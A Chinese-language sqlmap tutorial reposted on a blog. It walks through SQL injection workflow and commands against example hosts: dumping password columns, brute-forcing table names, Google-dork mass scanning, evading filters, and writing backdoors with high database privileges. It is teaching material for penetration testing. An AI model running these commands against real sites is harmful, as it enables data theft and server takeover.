sqlmap基础知识

一、sqlmap简介

sqlmap是一个开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接管数据库服务器的过程。

官网:

sqlmap.org

核心功能

  • 漏洞检测
  • 漏洞利用

学习关键点

  • 基于sqlmap进行sql注入漏洞的检测,注入利用和攻击
  • 基于sqlmap进行高权限情况下的文件读写
  • 基于sqlmap进行高权限情况下的联合msf实现远程主机上线

sqlmap支持的数据库类型

MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,
SQLite,Firebird,MySQL,SAP MaxDB,Informix,MariaDB,MemSQL,TiDB,
CockroachDB,HSQLDB,H2,MonetDB,Apache Derby,Amazon Redshift,Vertica,
Mckoi,Presto,Altibase,MimerSQL,CrateDB,Greenplum,Drizzle,Apache Apache
Apache Xerite,Cubrid,InterSystems Cache,IRIS,eXtremeDB,FrontBase,Raima
Database Manager,YugabyteDB,ClickHouse和Virtuoso数据库管理系统。

主要是支持关系型数据库,不支持NoSQL

支持六种SQL注入技术

  1. 基于布尔的盲注
  2. 基于时间的盲注
  3. 基于错误的盲注
  4. 基于UNION查询
  5. 堆栈查询
  6. 带外查询

sqlmap支持数据库直连

  • 通过提供DBMS凭证、IP地址、端口和数据库名称,支持直接连接到数据库,而无需通过SQL注入
  • DBMS:
    • DB database,M:Management,S:System
    • 像mysql、oracle都是数据库管理系统

sqlmap的特性

  • 自动识别密码哈希格式,并支持使用基于字典的攻击来破解他们【暴力破解】

sqlmap的代理功能

  • 通过设置代理,可以实现控制发包评率,防止速度太快被加入黑名单
  • 在代理中可以加载一些脚本,通过脚本可以实现对某个例如预编码,以此来绕过服务端的一些防注入机制,例如绕过敏感字符过滤

二、使用sqlmap的流程

第一步:判断目标网站是否存在漏洞和数据库类型【mysql、oracle、db2....】

第二步:判断用户权限类型【检测是否为高权限用户】

如果为高权限用户,那么不需要再进行数据库猜解,因为可以直接进行读写操作,也就是可以直接写入后门程序,通过程序可以直接获取目标主机的控制权

注意:不是说高权限用户就一定可以进行写操作

第三步:找库名

第四步:找表名

第五步:找字段

第六步:找数据

注意:进行sql注入的核心目的

目的1:获取数据

目的2:获取服务器的控制权

注意:

用sqlmap进行注入的时候,有可能结果是不准确的,例如扫描发现没有漏洞 或者 本来是管理员权限,但是扫描结果提示是普通权限

如果出现这种情况,就需要手动调整注入参数,或者进行手工注入

三、sqlmap的常用参数

3.1 sqlmap对指定目标进行检测

方法1:-u 目url

格式:sqlmap -u "http://www.php001.com/index.php?id=1"

注意:这种方式进行测试的时候,服务端收到的客户端信息 (UA refer ip) 都是客户端自己的

补充:sqlmap -u "网址" 得到的信息包括

结束以后会得到该网站的数据库、操作系统、服务器等版本信息

如果存在漏洞可以使用以下命令注出当前网站下所有的数据库名

sqlmap -u "网址" --dbs                                注出指定数据库下的所有库名
sqlmap -u "网址" -D 数据库名 --tables                  注出指定数据库指定表下所有列信息
sqlmap -u "网址" -D 数据库名 -T 表名 --columns         注出所有指定字段名
sqlmap -u "网址" -D 数据库名 -T 表名 -C 列名 --dump    显示数据在任意环节使用--dumps,可以将所有数据注出,如指定数据库使用,注出所有数据库下的所有表的所有字段信息

方法2:-r 从文本文件中读取HTTP请求作为sql注入探测的目标

格式:sqlmap -r test.txt(bp导出请求的数据文件)
使用场景:
1. 某些网站的页面必须先登录才能进行测试,那么就必须通过本方法,这是因为在请求数据包当中有当初登录网站时候的cookie\session信息
2. 某些网站限制客户端的来源: 来源域名、来源ip、这种情况下进行注入,也需要通过这种读取数据包的方式进行

指定数据包注入,从文件读取HTTP请求,GET和POST都可以,可以用-p传入注入的参数

sqlmap -r "burp.txt" -p "username"     # -p 指定存在注入的参数

这里的txt文件就是完整的http请求包

可以使用 -p 指定参数,也可以在txt文件中使用*(星号)定位

方法3:-m从多行文本格式文件读取多个目标,对多个目标进行探测

格式:sqlmap -m test.txt(自写的url)

方法4:-l 从Burpsuite proxy或WebScarab proxy中读取http请求日志文件

格式: sqlmap -l test(bp导出文件)

方法5:-x 从sitemap.xml站点地图文件中读取目标探测。

方法6:-C 从配置文件sqlmap.conf中读取目标探测

sqlmap 结合 google 搜索特定url,进行批量扫描注入,这里需要利用google hack语法进行扫描

案例:sqlmap -g "inurl:\.php?id=1\""

sqlmap设置http请求方法

--method=get | post

案例1:基于post方式发送请求
sqlmap -u 'http://www.php001.com/index.php' --data="id=1"案例2:基于get方式发送请求
sqlmap -u 'http://www.php001.ocm/index.php?id=1'

sqlmap设置cookie头

--cookie

--cookie-del

--load-cookies

--drop-sel-cookie

3.2 注入案例

1. GET 参数注入

sqlmap -u 'http://www.php001.com/index.php?id=1'

2. POST 参数注入

sqlmap -u 'http://www.php001.com/index.php' --data="id=1"

3. cookie 注入(level>=2时才会检测cookie)

sqlmap -u "http://www.php001.com/index.php?id=1" --level 2

4. user-agent注入

sqlmap -u "http://www.php001.com/index.php?id=1" --level 3

5. referer注入

sqlmap -u "http://www.php001.com/index.php?id=1" --level 3

6. host注入

sqlmap -u "http://www.php001.com/index.php?id=1" --level 5

7. 延时注入

当防火墙对请求速度做了限制,在每个HTTP请求之间延迟10秒
sqlmap -u "http://www.php001.com/index.php?id=1" --delay=10

8. 伪静态注入

sqpmap -u http://victim.com/id/666*.html --dbs   # 在html扩展名前加个'*"

3.3 获取数据库信息

1. 查看数据库

sqlmap -u "http://www.php001.com/index.php?id=1" --dbs --batch
参数
--dbs: 显示所有的数据库的库名
--batch: 避免用户交互

2. 查看数据库里面的表

sqlmap -u "http://www.php001.com/index.php?id=1" --D security --tables --batch
参数:
--D security: 指定查看这个 库中的所有表
--tables: 指定显示表名
--batch: 避免用户交互

3. 查看数据库表里面的列/字段

sqlmap -u "http://www.php001.com/index.php?id=1" --D security --T users --columns --batch
参数:
--D security: 指定查看这个 库中的表
--T users: 指定查看user表中的所有的字段名
--columns: 显示表中的字段名
--batch: 避免用户交互

4. 查看数据库列里面的具体的值

sqlmap -u "http://www.php001.com/index.php?id=1" --D security --T users -C password --dump --batch
参数
--D security: 指定查看这个库中的表
--T users: 指定查看user表中的所以的字段名
-C password: 显示 password 字段中的数据
--dump: 显示数据
--batch: 避免用户交互

3.4 暴力破解

使用条件/背景

1. MySQL数据库版本小于5.0,没有information_schema表

2. Microsoft Access数据库

3. 当前用户没有权限读取系统中保存的数据

暴力破解中破解表名的文件位于common-tables.txt 中,同理破解列名的文件位于common-columns.txt 中

1. 暴力破解表名

sqlmap -u "http://www.php001.com/index.php?id=1" -D security --common-tables --batch

2. 暴力破解列名

sqlmap -u "http://www.php001.com/index.php?id=1" -D security -T users --common-columns --batch

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/787307.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

便携式组件el测试仪讲解

TH-EL3便携式组件EL(电致发光)测试仪是一种专门用于检测光伏组件质量的设备。该设备基于电致发光的原理,通过非破坏性的方式快速准确地检测出光伏组件内部的各种缺陷和问题。 产品概述 便携式组件EL测试仪是一种轻便、易于携带的设备&#…

Mysql实战--为什么表数据删掉一半,表文件大小不变

经常会有同学来问我,我的数据库占用空间太大,我把一个最大的表删掉了一半的数据,怎么表文件的大小还是没变? 那么今天,我就和你聊聊数据库表的空间回收,看看如何解决这个问题。 这里,我们还是针…

云容器引擎CCE弹性伸缩

CCE弹性伸缩介绍 CCE的弹性伸缩能力分为如下两个维度: 工作负载弹性伸缩:即调度层弹性,主要是负责修改负载的调度容量变化。例如,HPA是典型的调度层弹性组件,通过HPA可以调整应用的副本数,调整的副本数会…

算法day27 回溯3

39 组合总和 给你一个 无重复元素 的整数数组 candidates 和一个目标整数 target ,找出 candidates 中可以使数字和为目标数 target 的 所有 不同组合 ,并以列表形式返回。你可以按 任意顺序 返回这些组合。 candidates 中的 同一个 数字可以 无限制重…

数据结构进阶篇 之 【堆的应用】(堆排序,TOP-K问题)详细讲解

所有人都关心我飞的高不高,只有我妈关心我翅膀硬不硬 一、堆的应用 1. 堆排序 1.1 建堆 1.2 利用堆删除思想来进行排序 2.TOP-K问题 二、完结撒❀ –❀–❀–❀–❀–❀–❀–❀–❀–❀–❀–❀–❀–❀–❀–❀-正文开始-❀–❀–❀–❀–❀–❀–❀–❀–…

MySQL学习笔记(持续更行ing)

级别: 1. 了解,面试概率10% 2. 掌握,面试概率50% 3. 重点,面试概率80% 目录 1. 数据库**** 1.1. 概念**** 1.2. 分类**** 1.2.1. 关系型数据库**** 1.2.1.1. SQL**** 1.2.2. 安装**** 1.2.2.1. Navicat**** 1.2.3. 非…

如何快速有效地压缩图片大小?这款在线工具可保证图片质量

当你需要上传或发送大量图片时,大体积的图片文件往往会让我们感到困扰,如何快速有效的压缩图片大小成了比较关键的问题,在图片压缩时,我们还需要担心的就是会不会对图片质量有损害,想要做到图片无损压缩就需要用到一些…

c++ 小游戏(2种)

目录 介绍 游戏1 游戏2 介绍 因为DEV C的编译环境较小&#xff0c;所以大部分的游戏代码都无法在此上运行&#xff0c;我收集了一部分摸鱼小游戏的源码&#xff0c;在此呈现&#xff0c;如果有能在DEV C上运行的我会先作声明&#xff1a; 游戏1 扫雷 #include<stdio.…

go和Java该如何选择?

今天&#xff0c;每个企业都需要一个软件应用程序&#xff0c;从初创公司到大型公司如果你想以最有效的方式运行业务&#xff0c;你必须把它列在网上。竞争并没有就此结束 但重要的是您能够以多简单、多快速的方式创建软件应用程序-这是引领竞争的正确方式。 选择最适合您的软…

MegaSeg Pro for Mac v6.3.1 注册激活版 音视频DJ混音工具

MegaSeg Pro for Mac是一款专业的DJ和广播自动化软件&#xff0c;旨在为音乐专业人士提供强大的音乐播放和演播功能。这款软件具有多种功能&#xff0c;包括强大的音乐库管理&#xff0c;支持导入和组织大量音乐文件&#xff0c;可以轻松管理你的音乐收藏。它支持广泛的音频格式…

【Mysql】用户授权(GRANT)语法介绍和示例

【Mysql】用户授权&#xff08;GRANT&#xff09;语法介绍和示例 【一】Mysql用户授权&#xff08;GRANT&#xff09;语法【1】授予用户权限语法【2】GRANT语句中的<权限类型>的使用说明如下&#xff1a;&#xff08;1&#xff09;授予数据库权限时&#xff0c;<权限类…

WPF学习笔记-FlowDocument流文档基础知识和基本操作

文章目录 概述一、块元素和内联元素1.1 块元素&#xff08;Block类&#xff09;1.2 内联元素&#xff08;Inline类&#xff09;二、Paragraph元素2.1 基本属性设置2.2 将内联元素Inline添加到Inlines中2.3 设置中西文字体不一样 三、Table元素3.1 添加新的Table3.2 添加列3.3 添…

深度学习系列-python实现-初步学习构建神经网络

深度学习系列-python实现-初步学习构建神经网络 前言1.在Keras中加载MNIST数据集2.构建简单的神经网络模型3.训练模型4.模型的预测和评估5.总结 前言 在数字时代&#xff0c;数据已经成为了一种无处不在的资源。从商业分析到科学研究&#xff0c;从人工智能到机器学习&#xf…

2024.2.16力扣每日一题——二叉树的锯齿形层序遍历

2024.2.16 题目来源我的题解方法一 双端队列标志 题目来源 力扣每日一题&#xff1b;题序&#xff1a;103 我的题解 方法一 双端队列标志 层序遍历 利用双端队列和标志&#xff0c;判断当前应该往那个方向遍历 注意&#xff1a;在逆向遍历时&#xff0c;加入后续节点到队列中…

固态硬盘一年不通电数据就没了吗?丢失了怎么办

随着数字化时代的到来&#xff0c;数据的安全性和持久性变得尤为重要。作为现代电子设备中常见的存储设备&#xff0c;固态硬盘&#xff08;SSD&#xff09;以其高效、快速的特点受到广大用户的青睐。然而&#xff0c;有关固态硬盘长时间不通电后数据会丢失的担忧也时常困扰着用…

报错:AttributeError: module ‘numpy‘ has no attribute ‘unit8‘解决

错误问题&#xff1a; 解决方法&#xff1a; 哥们姐们仔细一点吧这个unit8是打错了&#xff0c;无非就是uint8写成了unit8 应该是【uint8】&#xff0c;以后敲代码仔细点哦

怎么理解React refs,在哪些场景下使用?

React的refs,提供了一种方式,让我们访问DOM节点或者在render方法中创建React元素。 创建ref的形式有三种: 传入字符串,使用的时候通过this.refs传入的字符串格式获取对应的元素传入对象,对象是通过React.createRef()方式创建的,使用时取到的对象存在current属性上。传入…

从零开始学数据分析之数据分析概述

当今世界对信息技术的依赖程度在不断加深&#xff0c;每天都会有大量的数据产生&#xff0c;我们经常会感到数据越来越多&#xff0c;但是要从中发现有价值的信息却越来越难。 这里所说的信息&#xff0c;可以理解为对数据集处理之后的结果&#xff0c;是从数据集中提炼出的可用…

【Leetcode】top 100 二分查找

35 搜索插入位置 给定一个排序数组和一个目标值&#xff0c;在数组中找到目标值&#xff0c;并返回其索引。如果目标值不存在于数组中&#xff0c;返回它将会被按顺序插入的位置。请必须使用时间复杂度为 O(log n) 的算法。 基础写法&#xff01;&#xff01;&#xff01;牢记…

清华学霸引爆“长文本”大战,大模型的应用前景清晰了吗?

文 | 智能相对论 作者 | 沈浪 Long-LLM&#xff08;长文本大模型&#xff09;时代似乎来得有些突然&#xff0c;而引爆这场热潮的&#xff0c;竟是一家由清华学霸牵头的本土AI初创企业。 前不久&#xff0c;月之暗面&#xff08;Moonshot AI&#xff09;公司宣布旗下对话式 …